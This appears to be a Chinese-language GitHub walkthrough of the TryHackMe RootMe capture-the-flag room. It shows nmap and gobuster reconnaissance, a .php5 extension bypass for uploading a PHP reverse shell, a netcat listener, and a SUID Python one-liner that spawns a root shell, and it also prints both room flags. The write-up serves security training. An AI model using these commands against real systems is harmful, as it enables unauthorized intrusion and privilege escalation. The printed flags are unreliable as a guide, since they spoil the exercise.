AdityaBhatt3010/rootme
GitHub: AdityaBhatt3010/rootme
一篇面向新手的 TryHackMe RootMe 靶机完整渗透演练,涵盖侦察、Web 漏洞利用、反向 Shell 与 SUID 权限提升全流程。
Stars: 1 | Forks: 0
# TryHackMe RootMe 实战演练 | 从初始侦察到获取 Root 权限
TryHackMe 的 [RootMe 房间](https://tryhackme.com/room/rrootme) 是一个对新手友好且注重实战的靶机,它演练了核心的渗透测试概念:侦察、Web 漏洞利用、反向 Shell 以及权限提升。
在本篇演练中,我们将从初始枚举开始,一步步实现完全获取 root 权限,同时理解每一步背后的原理,而不是盲目地执行命令。
# 任务 1:部署靶机
第一步只需部署目标靶机,并确保通过 TryHackMe VPN 建立了连接。
如果您之前没有配置过 VPN 访问,请先完成 OpenVPN 设置房间。
这里没有 flag——仅仅是环境配置。
# 任务 2:侦察
一如既往,在尝试漏洞利用之前,我们需要了解目标的攻击面。
此阶段的目标是识别暴露的服务、版本以及潜在的隐藏攻击路径。
## 使用 Nmap 进行端口扫描
我们从标准的服务/版本扫描开始。
### 载荷 (PAYLOAD)
```
nmap -sC -sV
```
### 为什么要这样做?
* `-sC` 运行 Nmap 的默认脚本以进行额外枚举
* `-sV` 检测服务版本
* 这为我们提供了快速的初步评估,且不会产生过多噪音
示例发现:
* 端口 22 → SSH
* 端口 80 → HTTP
* Apache 版本 → 2.4.41
这确认了 **2 个开放端口**。
## 目录枚举
由于暴露了 Web 服务器,下一个符合逻辑的步骤是爆破目录。
### 载荷 (PAYLOAD)
```
gobuster dir -u http:// -w /usr/share/wordlists/dirb/common.txt
```
### 为什么要这样做?
Web 应用程序通常会暴露隐藏的管理面板、上传接口、备份文件或未在主页上链接的开发路径。
Gobuster 可以利用字典快速发现这些内容。
结果显示:
```
/panel/
```
这立刻引起了我们的兴趣。

`/panel/` 接口暴露了一个文件上传界面——如果上传验证不严,这通常是潜在远程代码执行的强烈信号。
# 任务 3:获取 Shell
既然我们有了一个上传接口,接下来的目标就是将文件上传转化为代码执行。
一种常见的技术是上传 PHP 反向 Shell。
## 准备反向 Shell
我们将使用 PentestMonkey 著名的 PHP 反向 Shell。
然而,许多应用程序会直接阻止 `.php` 文件的上传。
这里一个简单的绕过方法是更改扩展名。
### 载荷 (PAYLOAD)
```
cp reverseShell.php reverseShell.php5
```
### 为什么这会奏效
一些上传过滤器只会将以下明显的扩展名列入黑名单:
```
.php
```
但是 Apache/PHP 配置可能仍然会解析其他的替代扩展名,例如:
```
.php5
```
因此,尽管绕过了简单的验证,该文件仍然会作为 PHP 执行。
## 启动监听器
在触发载荷之前,我们需要有程序在等待传入的连接。
### 载荷 (PAYLOAD)
```
nc -nlvp 4444
```
### 为什么要这样做?
这会启动一个 Netcat 监听器:
* `-n` → 不进行 DNS 查询
* `-l` → 监听模式
* `-v` → 详细输出模式
* `-p` → 指定端口
端口 `4444` 与反向 Shell 的配置相匹配。
## 触发反向 Shell
上传:
```
reverseShell.php5
```
然后导航至:
```
/uploads/
```
并执行上传的 Shell。
一旦触发,服务器就会反向连接到我们的 Netcat 监听器。
现在您已经获得了命令执行权限。
## 稳定 Shell
反向 Shell 通常不稳定且操作体验差。
一个合适的伪终端会让操作轻松很多。
### 载荷 (PAYLOAD)
```
python -c 'import pty;pty.spawn("/bin/bash")'
```
### 为什么要这样做?
这会将 Shell 升级为更具交互性的终端:
* 更清晰的命令执行
* Tab 补全(有时可用)
* 更好地处理交互式程序
如果不这样做,权限提升的过程将会非常令人沮丧。
## 查找 user.txt
现在我们开始搜索 user flag。
### 载荷 (PAYLOAD)
```
find / -type f -name "user.txt" 2>/dev/null
```
### 为什么要这样做?
* `/` 搜索整个文件系统
* `-type f` 限定为文件
* `-name` 指定目标文件名
* `2>/dev/null` 隐藏权限拒绝的错误
结果:
```
/var/www/user.txt
```
读取它:
### 载荷 (PAYLOAD)
```
cat /var/www/user.txt
```
Flag:
```
THM{y0u_g0t_a_sh3ll}
```

至此,我们已经作为低权限用户获得了初始立足点。
# 任务 4:权限提升
最终目标是获取 root 访问权限。
有了可用的 Shell 后,首先要检查的就是异常的 SUID 二进制文件。
## 查找 SUID 文件
### 载荷 (PAYLOAD)
```
find / -perm -4000 2>/dev/null
```
### 为什么要这样做?
SUID 二进制文件以其所有者的权限执行。
如果其所有者是 root,利用其中一个就能瞬间实现权限提升。
在结果中:
```
/usr/bin/python
```
这很不寻常。
## 为什么 Python 在这里很危险?
带有 SUID 权限的 Python 二进制文件风险极高,因为 Python 可以直接调用系统命令并操纵进程权限。
如果 Python 以提升的权限运行,我们可以指示它生成一个 root Shell。
## 利用 SUID Python
### 载荷 (PAYLOAD)
```
/usr/bin/python -c 'import os; os.setuid(0); os.setgid(0); os.execl("/bin/sh","sh","-p")'
```
### 载荷分解
**`os.setuid(0)`**
将用户 ID 设置为 root。
**`os.setgid(0)`**
将组 ID 设置为 root。
**`os.execl("/bin/sh","sh","-p")`**
在保持提升权限的同时启动一个 Shell。
`-p` 标志可防止权限降级。
如果成功:
```
whoami
```
返回:
```
root
```
游戏结束。
## 捕获 root.txt
搜索:
### 载荷 (PAYLOAD)
```
find / -type f -name "root.txt" 2>/dev/null
```
读取:
### 载荷 (PAYLOAD)
```
cat /root/root.txt
```
Flag:
```
THM{pr1v1l3g3_3sc4l4t10n}
```

# 最终 Flag
## User Flag
```
THM{y0u_g0t_a_sh3ll}
```
## Root Flag
```
THM{pr1v1l3g3_3sc4l4t10n}
```
# 核心要点
本房间强化了几个实用的进攻性安全概念:
* 服务枚举始终是起点
* 隐藏的 Web 目录往往会暴露意想不到的攻击面
* 弱上传验证可能演变成远程代码执行
* 后渗透阶段,反向 Shell 的稳定性至关重要
* 配置错误的 SUID 二进制文件是权限提升的金矿
RootMe 对新手很友好,但其方法论反映了真实世界的渗透测试工作流程。
祝您黑客之旅愉快 ⚡
标签:Apache, CISA项目, CSV导出, CTI, meg, Nmap, Python提权, RootMe, SUID提权, TryHackMe, Web安全, 信息安全, 协议分析, 反取证, 反弹Shell, 大数据, 安全评估, 实战教程, 密码管理, 应用安全, 提权, 数据统计, 文件上传漏洞, 权限提升, 漏洞复现, 目录扫描, 端口扫描, 网络安全, 网络安全审计, 蓝队分析, 虚拟驱动器, 逆向工具, 隐私保护, 黑客技术